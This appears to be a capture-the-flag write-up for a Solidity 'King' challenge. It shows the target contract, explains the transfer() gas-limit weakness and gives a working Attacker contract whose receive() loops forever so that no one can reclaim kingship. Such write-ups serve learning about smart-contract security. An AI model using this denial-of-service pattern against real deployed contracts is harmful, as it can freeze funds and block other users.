Skip to content

King

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {

  address king;
  uint public prize;
  address public owner;

  constructor() payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    payable(king).transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address) {
    return king;
  }
}

Goal

Stop another account (EOA or contract) of reclaiming kingship

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

The vulnerable part of the code is the following:

payable(king).transfer(msg.value);

When someone tries to reclaiming kingship, the ether sent in the transaction is sent to the current king.

The issue is in the transfer() function. It reverts if the transaction conducts more than 2300 gas, therefore we can become king, and when someone tries to become new king, ether will be send to our Attacker contract and we can cause the transaction to revert.

To exploit the contract we need to:

  1. create Attacker contract, and send the address of the King contract in the constructor.
  2. in the constructor we send a transaction to King contract with some value in order for the Attacker contract to become King
  3. implement receive() function to run in infinite loop, this will cause failure of the transaction because of too much gas

Attacker contract code

contract Attacker {
  uint256 private count;

  constructor(address king) payable {
    (bool sent, ) = king.call{value: msg.value}("");
    require(sent, "Failed to send Ether");
  }

  receive() external payable {
    while (true) {
      count++;
    }
  }
}